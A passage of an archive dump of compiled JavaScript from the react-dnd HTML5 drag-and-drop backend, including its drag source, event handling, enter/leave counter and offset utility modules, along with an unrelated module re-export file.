            value: _this2.config.exposeProperties[property](dataTransfer, _this2.config.matchesTypes),
            configurable: true,
            enumerable: true
          };
        });
        Object.defineProperties(this.item, newProperties);
      }
    }
  }, {
    key: "canDrag",
    value: function canDrag() {
      return true;
    }
  }, {
    key: "beginDrag",
    value: function beginDrag() {
      return this.item;
    }
  }, {
    key: "isDragging",
    value: function isDragging(monitor, handle) {
      return handle === monitor.getSourceId();
    }
  }, {
    key: "endDrag",
    value: function endDrag() {// empty
    }
  }]);

  return NativeDragSource;
}();

exports.NativeDragSource = NativeDragSource;cjs/NativeDragSources/nativeTypesConfig.js000064400000005427151677252760014744 0ustar00"use strict";

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.nativeTypesConfig = void 0;

var NativeTypes = _interopRequireWildcard(require("../NativeTypes"));

var _getDataFromDataTransfer = require("./getDataFromDataTransfer");

var _nativeTypesConfig;

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

var nativeTypesConfig = (_nativeTypesConfig = {}, _defineProperty(_nativeTypesConfig, NativeTypes.FILE, {
  exposeProperties: {
    files: function files(dataTransfer) {
      return Array.prototype.slice.call(dataTransfer.files);
    },
    items: function items(dataTransfer) {
      return dataTransfer.items;
    }
  },
  matchesTypes: ['Files']
}), _defineProperty(_nativeTypesConfig, NativeTypes.URL, {
  exposeProperties: {
    urls: function urls(dataTransfer, matchesTypes) {
      return (0, _getDataFromDataTransfer.getDataFromDataTransfer)(dataTransfer, matchesTypes, '').split('\n');
    }
  },
  matchesTypes: ['Url', 'text/uri-list']
}), _defineProperty(_nativeTypesConfig, NativeTypes.TEXT, {
  exposeProperties: {
    text: function text(dataTransfer, matchesTypes) {
      return (0, _getDataFromDataTransfer.getDataFromDataTransfer)(dataTransfer, matchesTypes, '');
    }
  },
  matchesTypes: ['Text', 'text/plain']
}), _nativeTypesConfig);
exports.nativeTypesConfig = nativeTypesConfig;cjs/types.js000064400000000163151677252760007047 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});

//# sourceMappingURL=types.js.mapcjs/EnterLeaveCounter.js000064400000003756151677252760011310 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.EnterLeaveCounter = void 0;

var _js_utils = require("./utils/js_utils");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var EnterLeaveCounter = /*#__PURE__*/function () {
  function EnterLeaveCounter(isNodeInDocument) {
    _classCallCheck(this, EnterLeaveCounter);

    this.entered = [];
    this.isNodeInDocument = isNodeInDocument;
  }

  _createClass(EnterLeaveCounter, [{
    key: "enter",
    value: function enter(enteringNode) {
      var _this = this;

      var previousLength = this.entered.length;

      var isNodeEntered = function isNodeEntered(node) {
        return _this.isNodeInDocument(node) && (!node.contains || node.contains(enteringNode));
      };

      this.entered = (0, _js_utils.union)(this.entered.filter(isNodeEntered), [enteringNode]);
      return previousLength === 0 && this.entered.length > 0;
    }
  }, {
    key: "leave",
    value: function leave(leavingNode) {
      var previousLength = this.entered.length;
      this.entered = (0, _js_utils.without)(this.entered.filter(this.isNodeInDocument), leavingNode);
      return previousLength > 0 && this.entered.length === 0;
    }
  }, {
    key: "reset",
    value: function reset() {
      this.entered = [];
    }
  }]);

  return EnterLeaveCounter;
}();

exports.EnterLeaveCounter = EnterLeaveCounter;cjs/utils/js_utils.js000064400000002106151677252760010676 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.isFunction = isFunction;
exports.noop = noop;
exports.isPlainObject = isPlainObject;

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

// cheap lodash replacements
function isFunction(input) {
  return typeof input === 'function';
}

function noop() {// noop
}

function isObjectLike(input) {
  return _typeof(input) === 'object' && input !== null;
}

function isPlainObject(input) {
  if (!isObjectLike(input)) {
    return false;
  }

  if (Object.getPrototypeOf(input) === null) {
    return true;
  }

  var proto = input;

  while (Object.getPrototypeOf(proto) !== null) {
    proto = Object.getPrototypeOf(proto);
  }

  return Object.getPrototypeOf(input) === proto;
}cjs/HTML5BackendImpl.js000064400000062423151677252760010635 0ustar00"use strict";

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.HTML5BackendImpl = void 0;

var _EnterLeaveCounter = require("./EnterLeaveCounter");

var _BrowserDetector = require("./BrowserDetector");

var _OffsetUtils = require("./OffsetUtils");

var _NativeDragSources = require("./NativeDragSources");

var NativeTypes = _interopRequireWildcard(require("./NativeTypes"));

var _OptionsReader = require("./OptionsReader");

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var HTML5BackendImpl = /*#__PURE__*/function () {
  function HTML5BackendImpl(manager, globalContext) {
    var _this = this;

    _classCallCheck(this, HTML5BackendImpl);

    this.sourcePreviewNodes = new Map();
    this.sourcePreviewNodeOptions = new Map();
    this.sourceNodes = new Map();
    this.sourceNodeOptions = new Map();
    this.dragStartSourceIds = null;
    this.dropTargetIds = [];
    this.dragEnterTargetIds = [];
    this.currentNativeSource = null;
    this.currentNativeHandle = null;
    this.currentDragSourceNode = null;
    this.altKeyPressed = false;
    this.mouseMoveTimeoutTimer = null;
    this.asyncEndDragFrameId = null;
    this.dragOverTargetIds = null;

    this.getSourceClientOffset = function (sourceId) {
      var source = _this.sourceNodes.get(sourceId);

      return source && (0, _OffsetUtils.getNodeClientOffset)(source) || null;
    };

    this.endDragNativeItem = function () {
      if (!_this.isDraggingNativeItem()) {
        return;
      }

      _this.actions.endDrag();

      if (_this.currentNativeHandle) {
        _this.registry.removeSource(_this.currentNativeHandle);
      }

      _this.currentNativeHandle = null;
      _this.currentNativeSource = null;
    };

    this.isNodeInDocument = function (node) {
      // Check the node either in the main document or in the current context
      return Boolean(node && _this.document && _this.document.body && document.body.contains(node));
    };

    this.endDragIfSourceWasRemovedFromDOM = function () {
      var node = _this.currentDragSourceNode;

      if (_this.isNodeInDocument(node)) {
        return;
      }

      if (_this.clearCurrentDragSourceNode()) {
        _this.actions.endDrag();
      }
    };

    this.handleTopDragStartCapture = function () {
      _this.clearCurrentDragSourceNode();

      _this.dragStartSourceIds = [];
    };

    this.handleTopDragStart = function (e) {
      if (e.defaultPrevented) {
        return;
      }

      var dragStartSourceIds = _this.dragStartSourceIds;
      _this.dragStartSourceIds = null;
      var clientOffset = (0, _OffsetUtils.getEventClientOffset)(e); // Avoid crashing if we missed a drop event or our previous drag died

      if (_this.monitor.isDragging()) {
        _this.actions.endDrag();
      } // Don't publish the source just yet (see why below)


      _this.actions.beginDrag(dragStartSourceIds || [], {
        publishSource: false,
        getSourceClientOffset: _this.getSourceClientOffset,
        clientOffset: clientOffset
      });

      var dataTransfer = e.dataTransfer;
      var nativeType = (0, _NativeDragSources.matchNativeItemType)(dataTransfer);

      if (_this.monitor.isDragging()) {
        if (dataTransfer && typeof dataTransfer.setDragImage === 'function') {
          // Use custom drag image if user specifies it.
          // If child drag source refuses drag but parent agrees,
          // use parent's node as drag image. Neither works in IE though.
          var sourceId = _this.monitor.getSourceId();

          var sourceNode = _this.sourceNodes.get(sourceId);

          var dragPreview = _this.sourcePreviewNodes.get(sourceId) || sourceNode;

          if (dragPreview) {
            var _this$getCurrentSourc = _this.getCurrentSourcePreviewNodeOptions(),
                anchorX = _this$getCurrentSourc.anchorX,
                anchorY = _this$getCurrentSourc.anchorY,
                offsetX = _this$getCurrentSourc.offsetX,
                offsetY = _this$getCurrentSourc.offsetY;

            var anchorPoint = {
              anchorX: anchorX,
              anchorY: anchorY
            };
            var offsetPoint = {
              offsetX: offsetX,
              offsetY: offsetY
            };
            var dragPreviewOffset = (0, _OffsetUtils.getDragPreviewOffset)(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint);
            dataTransfer.setDragImage(dragPreview, dragPreviewOffset.x, dragPreviewOffset.y);
          }
        }

        try {
          // Firefox won't drag without setting data
          dataTransfer === null || dataTransfer === void 0 ? void 0 : dataTransfer.setData('application/json', {});
        } catch (err) {} // IE doesn't support MIME types in setData
        // Store drag source node so we can check whether
        // it is removed from DOM and trigger endDrag manually.


        _this.setCurrentDragSourceNode(e.target); // Now we are ready to publish the drag source.. or are we not?


        var _this$getCurrentSourc2 = _this.getCurrentSourcePreviewNodeOptions(),
            captureDraggingState = _this$getCurrentSourc2.captureDraggingState;

        if (!captureDraggingState) {
          // Usually we want to publish it in the next tick so that browser
          // is able to screenshot the current (not yet dragging) state.
          //
          // It also neatly avoids a situation where render() returns null
          // in the same tick for the source element, and browser freaks out.
          setTimeout(function () {
            return _this.actions.publishDragSource();
          }, 0);
        } else {
          // In some cases the user may want to override this behavior, e.g.
          // to work around IE not supporting custom drag previews.
          //
          // When using a custom drag layer, the only way to prevent
          // the default drag preview from drawing in IE is to screenshot
          // the dragging state in which the node itself has zero opacity
          // and height. In this case, though, returning null from render()
          // will abruptly end the dragging, which is not obvious.
          //
          // This is the reason such behavior is strictly opt-in.
          _this.actions.publishDragSource();
        }
      } else if (nativeType) {
        // A native item (such as URL) dragged from inside the document
        _this.beginDragNativeItem(nativeType);
      } else if (dataTransfer && !dataTransfer.types && (e.target && !e.target.hasAttribute || !e.target.hasAttribute('draggable'))) {
        // Looks like a Safari bug: dataTransfer.types is null, but there was no draggable.
        // Just let it drag. It's a native type (URL or text) and will be picked up in
        // dragenter handler.
        return;
      } else {
        // If by this time no drag source reacted, tell browser not to drag.
        e.preventDefault();
      }
    };

    this.handleTopDragEndCapture = function () {
      if (_this.clearCurrentDragSourceNode()) {
        // Firefox can dispatch this event in an infinite loop
        // if dragend handler does something like showing an alert.
        // Only proceed if we have not handled it already.
        _this.actions.endDrag();
      }
    };

    this.handleTopDragEnterCapture = function (e) {
      _this.dragEnterTargetIds = [];

      var isFirstEnter = _this.enterLeaveCounter.enter(e.target);

      if (!isFirstEnter || _this.monitor.isDragging()) {
        return;
      }

      var dataTransfer = e.dataTransfer;
      var nativeType = (0, _NativeDragSources.matchNativeItemType)(dataTransfer);

      if (nativeType) {
        // A native item (such as file or URL) dragged from outside the document
        _this.beginDragNativeItem(nativeType, dataTransfer);
      }
    };

    this.handleTopDragEnter = function (e) {
      var dragEnterTargetIds = _this.dragEnterTargetIds;
      _this.dragEnterTargetIds = [];

      if (!_this.monitor.isDragging()) {
        // This is probably a native item type we don't understand.
        return;
      }

      _this.altKeyPressed = e.altKey;

      if (!(0, _BrowserDetector.isFirefox)()) {
        // Don't emit hover in `dragenter` on Firefox due to an edge case.
        // If the target changes position as the result of `dragenter`, Firefox
        // will still happily dispatch `dragover` despite target being no longer
        // there. The easy solution is to only fire `hover` in `dragover` on FF.
        _this.actions.hover(dragEnterTargetIds, {
          clientOffset: (0, _OffsetUtils.getEventClientOffset)(e)
        });
      }

      var canDrop = dragEnterTargetIds.some(function (targetId) {
        return _this.monitor.canDropOnTarget(targetId);
      });

      if (canDrop) {
        // IE requires this to fire dragover events
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = _this.getCurrentDropEffect();
        }
      }
    };

    this.handleTopDragOverCapture = function () {
      _this.dragOverTargetIds = [];
    };

    this.handleTopDragOver = function (e) {
      var dragOverTargetIds = _this.dragOverTargetIds;
      _this.dragOverTargetIds = [];

      if (!_this.monitor.isDragging()) {
        // This is probably a native item type we don't understand.
        // Prevent default "drop and blow away the whole document" action.
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = 'none';
        }

        return;
      }

      _this.altKeyPressed = e.altKey;

      _this.actions.hover(dragOverTargetIds || [], {
        clientOffset: (0, _OffsetUtils.getEventClientOffset)(e)
      });

      var canDrop = (dragOverTargetIds || []).some(function (targetId) {
        return _this.monitor.canDropOnTarget(targetId);
      });

      if (canDrop) {
        // Show user-specified drop effect.
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = _this.getCurrentDropEffect();
        }
      } else if (_this.isDraggingNativeItem()) {
        // Don't show a nice cursor but still prevent default
        // "drop and blow away the whole document" action.
        e.preventDefault();
      } else {
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = 'none';
        }
      }
    };

    this.handleTopDragLeaveCapture = function (e) {
      if (_this.isDraggingNativeItem()) {
        e.preventDefault();
      }

      var isLastLeave = _this.enterLeaveCounter.leave(e.target);

      if (!isLastLeave) {
        return;
      }

      if (_this.isDraggingNativeItem()) {
        _this.endDragNativeItem();
      }
    };

    this.handleTopDropCapture = function (e) {
      _this.dropTargetIds = [];
      e.preventDefault();

      if (_this.isDraggingNativeItem()) {
        var _this$currentNativeSo;

        (_this$currentNativeSo = _this.currentNativeSource) === null || _this$currentNativeSo === void 0 ? void 0 : _this$currentNativeSo.loadDataTransfer(e.dataTransfer);
      }

      _this.enterLeaveCounter.reset();
    };

    this.handleTopDrop = function (e) {
      var dropTargetIds = _this.dropTargetIds;
      _this.dropTargetIds = [];

      _this.actions.hover(dropTargetIds, {
        clientOffset: (0, _OffsetUtils.getEventClientOffset)(e)
      });

      _this.actions.drop({
        dropEffect: _this.getCurrentDropEffect()
      });

      if (_this.isDraggingNativeItem()) {
        _this.endDragNativeItem();
      } else {
        _this.endDragIfSourceWasRemovedFromDOM();
      }
    };

    this.handleSelectStart = function (e) {
      var target = e.target; // Only IE requires us to explicitly say
      // we want drag drop operation to start

      if (typeof target.dragDrop !== 'function') {
        return;
      } // Inputs and textareas should be selectable


      if (target.tagName === 'INPUT' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.isContentEditable) {
        return;
      } // For other targets, ask IE
      // to enable drag and drop


      e.preventDefault();
      target.dragDrop();
    };

    this.options = new _OptionsReader.OptionsReader(globalContext);
    this.actions = manager.getActions();
    this.monitor = manager.getMonitor();
    this.registry = manager.getRegistry();
    this.enterLeaveCounter = new _EnterLeaveCounter.EnterLeaveCounter(this.isNodeInDocument);
  }
  /**
   * Generate profiling statistics for the HTML5Backend.
   */


  _createClass(HTML5BackendImpl, [{
    key: "profile",
    value: function profile() {
      var _this$dragStartSource, _this$dragOverTargetI;

      return {
        sourcePreviewNodes: this.sourcePreviewNodes.size,
        sourcePreviewNodeOptions: this.sourcePreviewNodeOptions.size,
        sourceNodeOptions: this.sourceNodeOptions.size,
        sourceNodes: this.sourceNodes.size,
        dragStartSourceIds: ((_this$dragStartSource = this.dragStartSourceIds) === null || _this$dragStartSource === void 0 ? void 0 : _this$dragStartSource.length) || 0,
        dropTargetIds: this.dropTargetIds.length,
        dragEnterTargetIds: this.dragEnterTargetIds.length,
        dragOverTargetIds: ((_this$dragOverTargetI = this.dragOverTargetIds) === null || _this$dragOverTargetI === void 0 ? void 0 : _this$dragOverTargetI.length) || 0
      };
    } // public for test

  }, {
    key: "setup",
    value: function setup() {
      if (this.window === undefined) {
        return;
      }

      if (this.window.__isReactDndBackendSetUp) {
        throw new Error('Cannot have two HTML5 backends at the same time.');
      }

      this.window.__isReactDndBackendSetUp = true;
      this.addEventListeners(this.window);
    }
  }, {
    key: "teardown",
    value: function teardown() {
      if (this.window === undefined) {
        return;
      }

      this.window.__isReactDndBackendSetUp = false;
      this.removeEventListeners(this.window);
      this.clearCurrentDragSourceNode();

      if (this.asyncEndDragFrameId) {
        this.window.cancelAnimationFrame(this.asyncEndDragFrameId);
      }
    }
  }, {
    key: "connectDragPreview",
    value: function connectDragPreview(sourceId, node, options) {
      var _this2 = this;

      this.sourcePreviewNodeOptions.set(sourceId, options);
      this.sourcePreviewNodes.set(sourceId, node);
      return function () {
        _this2.sourcePreviewNodes.delete(sourceId);

        _this2.sourcePreviewNodeOptions.delete(sourceId);
      };
    }
  }, {
    key: "connectDragSource",
    value: function connectDragSource(sourceId, node, options) {
      var _this3 = this;

      this.sourceNodes.set(sourceId, node);
      this.sourceNodeOptions.set(sourceId, options);

      var handleDragStart = function handleDragStart(e) {
        return _this3.handleDragStart(e, sourceId);
      };

      var handleSelectStart = function handleSelectStart(e) {
        return _this3.handleSelectStart(e);
      };

      node.setAttribute('draggable', 'true');
      node.addEventListener('dragstart', handleDragStart);
      node.addEventListener('selectstart', handleSelectStart);
      return function () {
        _this3.sourceNodes.delete(sourceId);

        _this3.sourceNodeOptions.delete(sourceId);

        node.removeEventListener('dragstart', handleDragStart);
        node.removeEventListener('selectstart', handleSelectStart);
        node.setAttribute('draggable', 'false');
      };
    }
  }, {
    key: "connectDropTarget",
    value: function connectDropTarget(targetId, node) {
      var _this4 = this;

      var handleDragEnter = function handleDragEnter(e) {
        return _this4.handleDragEnter(e, targetId);
      };

      var handleDragOver = function handleDragOver(e) {
        return _this4.handleDragOver(e, targetId);
      };

      var handleDrop = function handleDrop(e) {
        return _this4.handleDrop(e, targetId);
      };

      node.addEventListener('dragenter', handleDragEnter);
      node.addEventListener('dragover', handleDragOver);
      node.addEventListener('drop', handleDrop);
      return function () {
        node.removeEventListener('dragenter', handleDragEnter);
        node.removeEventListener('dragover', handleDragOver);
        node.removeEventListener('drop', handleDrop);
      };
    }
  }, {
    key: "addEventListeners",
    value: function addEventListeners(target) {
      // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813
      if (!target.addEventListener) {
        return;
      }

      target.addEventListener('dragstart', this.handleTopDragStart);
      target.addEventListener('dragstart', this.handleTopDragStartCapture, true);
      target.addEventListener('dragend', this.handleTopDragEndCapture, true);
      target.addEventListener('dragenter', this.handleTopDragEnter);
      target.addEventListener('dragenter', this.handleTopDragEnterCapture, true);
      target.addEventListener('dragleave', this.handleTopDragLeaveCapture, true);
      target.addEventListener('dragover', this.handleTopDragOver);
      target.addEventListener('dragover', this.handleTopDragOverCapture, true);
      target.addEventListener('drop', this.handleTopDrop);
      target.addEventListener('drop', this.handleTopDropCapture, true);
    }
  }, {
    key: "removeEventListeners",
    value: function removeEventListeners(target) {
      // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813
      if (!target.removeEventListener) {
        return;
      }

      target.removeEventListener('dragstart', this.handleTopDragStart);
      target.removeEventListener('dragstart', this.handleTopDragStartCapture, true);
      target.removeEventListener('dragend', this.handleTopDragEndCapture, true);
      target.removeEventListener('dragenter', this.handleTopDragEnter);
      target.removeEventListener('dragenter', this.handleTopDragEnterCapture, true);
      target.removeEventListener('dragleave', this.handleTopDragLeaveCapture, true);
      target.removeEventListener('dragover', this.handleTopDragOver);
      target.removeEventListener('dragover', this.handleTopDragOverCapture, true);
      target.removeEventListener('drop', this.handleTopDrop);
      target.removeEventListener('drop', this.handleTopDropCapture, true);
    }
  }, {
    key: "getCurrentSourceNodeOptions",
    value: function getCurrentSourceNodeOptions() {
      var sourceId = this.monitor.getSourceId();
      var sourceNodeOptions = this.sourceNodeOptions.get(sourceId);
      return _objectSpread({
        dropEffect: this.altKeyPressed ? 'copy' : 'move'
      }, sourceNodeOptions || {});
    }
  }, {
    key: "getCurrentDropEffect",
    value: function getCurrentDropEffect() {
      if (this.isDraggingNativeItem()) {
        // It makes more sense to default to 'copy' for native resources
        return 'copy';
      }

      return this.getCurrentSourceNodeOptions().dropEffect;
    }
  }, {
    key: "getCurrentSourcePreviewNodeOptions",
    value: function getCurrentSourcePreviewNodeOptions() {
      var sourceId = this.monitor.getSourceId();
      var sourcePreviewNodeOptions = this.sourcePreviewNodeOptions.get(sourceId);
      return _objectSpread({
        anchorX: 0.5,
        anchorY: 0.5,
        captureDraggingState: false
      }, sourcePreviewNodeOptions || {});
    }
  }, {
    key: "isDraggingNativeItem",
    value: function isDraggingNativeItem() {
      var itemType = this.monitor.getItemType();
      return Object.keys(NativeTypes).some(function (key) {
        return NativeTypes[key] === itemType;
      });
    }
  }, {
    key: "beginDragNativeItem",
    value: function beginDragNativeItem(type, dataTransfer) {
      this.clearCurrentDragSourceNode();
      this.currentNativeSource = (0, _NativeDragSources.createNativeDragSource)(type, dataTransfer);
      this.currentNativeHandle = this.registry.addSource(type, this.currentNativeSource);
      this.actions.beginDrag([this.currentNativeHandle]);
    }
  }, {
    key: "setCurrentDragSourceNode",
    value: function setCurrentDragSourceNode(node) {
      var _this5 = this;

      this.clearCurrentDragSourceNode();
      this.currentDragSourceNode = node; // A timeout of > 0 is necessary to resolve Firefox issue referenced
      // See:
      //   * https://github.com/react-dnd/react-dnd/pull/928
      //   * https://github.com/react-dnd/react-dnd/issues/869

      var MOUSE_MOVE_TIMEOUT = 1000; // Receiving a mouse event in the middle of a dragging operation
      // means it has ended and the drag source node disappeared from DOM,
      // so the browser didn't dispatch the dragend event.
      //
      // We need to wait before we start listening for mousemove events.
      // This is needed because the drag preview needs to be drawn or else it fires an 'mousemove' event
      // immediately in some browsers.
      //
      // See:
      //   * https://github.com/react-dnd/react-dnd/pull/928
      //   * https://github.com/react-dnd/react-dnd/issues/869
      //

      this.mouseMoveTimeoutTimer = setTimeout(function () {
        return _this5.window && _this5.window.addEventListener('mousemove', _this5.endDragIfSourceWasRemovedFromDOM, true);
      }, MOUSE_MOVE_TIMEOUT);
    }
  }, {
    key: "clearCurrentDragSourceNode",
    value: function clearCurrentDragSourceNode() {
      if (this.currentDragSourceNode) {
        this.currentDragSourceNode = null;

        if (this.window) {
          this.window.clearTimeout(this.mouseMoveTimeoutTimer || undefined);
          this.window.removeEventListener('mousemove', this.endDragIfSourceWasRemovedFromDOM, true);
        }

        this.mouseMoveTimeoutTimer = null;
        return true;
      }

      return false;
    }
  }, {
    key: "handleDragStart",
    value: function handleDragStart(e, sourceId) {
      if (e.defaultPrevented) {
        return;
      }

      if (!this.dragStartSourceIds) {
        this.dragStartSourceIds = [];
      }

      this.dragStartSourceIds.unshift(sourceId);
    }
  }, {
    key: "handleDragEnter",
    value: function handleDragEnter(e, targetId) {
      this.dragEnterTargetIds.unshift(targetId);
    }
  }, {
    key: "handleDragOver",
    value: function handleDragOver(e, targetId) {
      if (this.dragOverTargetIds === null) {
        this.dragOverTargetIds = [];
      }

      this.dragOverTargetIds.unshift(targetId);
    }
  }, {
    key: "handleDrop",
    value: function handleDrop(e, targetId) {
      this.dropTargetIds.unshift(targetId);
    }
  }, {
    key: "window",
    get: function get() {
      return this.options.window;
    }
  }, {
    key: "document",
    get: function get() {
      return this.options.document;
    }
  }]);

  return HTML5BackendImpl;
}();

exports.HTML5BackendImpl = HTML5BackendImpl;cjs/index.js000064400000005246151677252760007021 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", {
    value: true
});
var _exportNames = {};
var _asapJs = _interopRequireWildcard(require("./asap.js"));
Object.keys(_asapJs).forEach(function(key) {
    if (key === "default" || key === "__esModule") return;
    if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
    if (key in exports && exports[key] === _asapJs[key]) return;
    Object.defineProperty(exports, key, {
        enumerable: true,
        get: function() {
            return _asapJs[key];
        }
    });
});
var _typesJs = _interopRequireWildcard(require("./types.js"));
Object.keys(_typesJs).forEach(function(key) {
    if (key === "default" || key === "__esModule") return;
    if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
    if (key in exports && exports[key] === _typesJs[key]) return;
    Object.defineProperty(exports, key, {
        enumerable: true,
        get: function() {
            return _typesJs[key];
        }
    });
});
var _asapQueueJs = _interopRequireWildcard(require("./AsapQueue.js"));
Object.keys(_asapQueueJs).forEach(function(key) {
    if (key === "default" || key === "__esModule") return;
    if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
    if (key in exports && exports[key] === _asapQueueJs[key]) return;
    Object.defineProperty(exports, key, {
        enumerable: true,
        get: function() {
            return _asapQueueJs[key];
        }
    });
});
var _taskFactoryJs = _interopRequireWildcard(require("./TaskFactory.js"));
Object.keys(_taskFactoryJs).forEach(function(key) {
    if (key === "default" || key === "__esModule") return;
    if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
    if (key in exports && exports[key] === _taskFactoryJs[key]) return;
    Object.defineProperty(exports, key, {
        enumerable: true,
        get: function() {
            return _taskFactoryJs[key];
        }
    });
});
function _interopRequireWildcard(obj) {
    if (obj && obj.__esModule) {
        return obj;
    } else {
        var newObj = {};
        if (obj != null) {
            for(var key in obj){
                if (Object.prototype.hasOwnProperty.call(obj, key)) {
                    var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {};
                    if (desc.get || desc.set) {
                        Object.defineProperty(newObj, key, desc);
                    } else {
                        newObj[key] = obj[key];
                    }
                }
            }
        }
        newObj.default = obj;
        return newObj;
    }
}

//# sourceMappingURL=index.js.mapcjs/OffsetUtils.js000064400000010044151677252760010151 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getNodeClientOffset = getNodeClientOffset;
exports.getEventClientOffset = getEventClientOffset;
exports.getDragPreviewOffset = getDragPreviewOffset;

var _BrowserDetector = require("./BrowserDetector");

var _MonotonicInterpolant = require("./MonotonicInterpolant");

var ELEMENT_NODE = 1;

function getNodeClientOffset(node) {
  var el = node.nodeType === ELEMENT_NODE ? node : node.parentElement;

  if (!el) {
    return null;
  }

  var _el$getBoundingClient = el.getBoundingClientRect(),
      top = _el$getBoundingClient.top,
      left = _el$getBoundingClient.left;

  return {
    x: left,
    y: top
  };
}

function getEventClientOffset(e) {
  return {
    x: e.clientX,
    y: e.clientY
  };
}

function isImageNode(node) {
  var _document$documentEle;

